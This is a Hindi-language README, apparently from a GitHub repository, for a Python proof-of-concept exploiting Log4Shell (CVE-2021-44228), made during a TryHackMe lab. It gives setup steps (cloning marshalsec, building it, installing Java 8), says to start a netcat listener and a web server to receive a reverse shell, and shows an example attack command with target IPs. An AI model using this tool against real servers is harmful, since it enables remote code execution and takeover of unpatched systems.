
CVE-2021-44228 (Log4Shell) के लिए Python प्रूफ-ऑफ-कॉन्सेप्ट, जो एक क्राफ्टेड Java पेलोड के माध्यम से शोषण को स्वचालित करता है, जिसमें अनुकूलन योग्य GET अनुरोधों और रिवर्स शेल डिलीवरी के लिए argparse विकल्प शामिल हैं।
यह python script मेरे द्वारा TryHackMe रूम Log4j पर काम करते समय बनाया गया था। हालाँकि इसे इस रूम के लिए डिफ़ॉल्ट वेरिएबल्स के साथ बनाया गया था, मैंने GET अनुरोध के लिए script को बहुमुखी बनाने के लिए argparse का उपयोग किया। सभी आवश्यक वेरिएबल्स को विभिन्न विकल्पों के साथ बदला जा सकता है, अधिक जानकारी के लिए -h देखें।
यहाँ केवल मेरी script होस्ट की गई है, इसे ठीक से चलाने के लिए दो अन्य डाउनलोड की आवश्यकता है जिनके लिए मैं लिंक दूंगा, लेकिन फ़ोल्डर्स को मेरे द्वारा किए गए तरीके से सेट करने से script बिना अधिक प्रयास के चल सकेगी। पहले एक log4j फ़ोल्डर (या आप जो भी नाम चाहें) बनाएँ, फिर git clone इस repo को और फिर poc.py को /log4j/ में ले जाएँ।
git clone https://github.com/ab0x90/CVE-2021-44228_PoC.git
इसके बाद marshalsec को क्लोन करें, उसी निर्देशिका में जो आपने अभी बनाई है। और फिर इसे maven का उपयोग करके बनाएँ।
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
अंत में, आपको Java 8 के किसी संस्करण को डाउनलोड करने की आवश्यकता होगी। इस script के लिए, और -j का डिफ़ॉल्ट मान 'jdk1.8.0_20' है।
सब कुछ निकालने के बाद नई निर्देशिका इस तरह दिखनी चाहिए।
kali@kali-[~/tools/Exploits/log4j]$ls -al
total 338448
drwxr-xr-x 5 kali kali 4096 Dec 14 15:22 .
drwx------ 3 kali kali 4096 Dec 14 14:34 ..
drwxr-xr-x 8 kali kali 4096 Jul 30 2014 jdk1.8.0_20
drwxr-xr-x 5 kali kali 4096 Dec 14 14:40 marshalsec
-rw-r--r-- 1 kali kali 2781 Dec 14 16:02 poc.py
इस सेटअप के पूरा होने के बाद। ध्यान दें कि यदि आप java के किसी भिन्न संस्करण का उपयोग करना चाहते हैं या करने की आवश्यकता है, तो यह -j NAME_OF_JAVA_FOLDER का उपयोग करके किया जा सकता है।
सहायता मेनू

script में THM रूम में प्रदान किया गया payload शामिल है, IP/port को अपनी इच्छानुसार बदलें।

java_payload में निर्दिष्ट पोर्ट पर शेल को पकड़ने के लिए netcat listener प्रारंभ करें।
पोर्ट 8000 पर python वेब सर्वर प्रारंभ करें।
उदाहरण कमांड:
python3 poc.py -l 10.6.20.239 -i 10.10.64.53 -p 8983
उदाहरण आउटपुट और रिवर्स शेल:
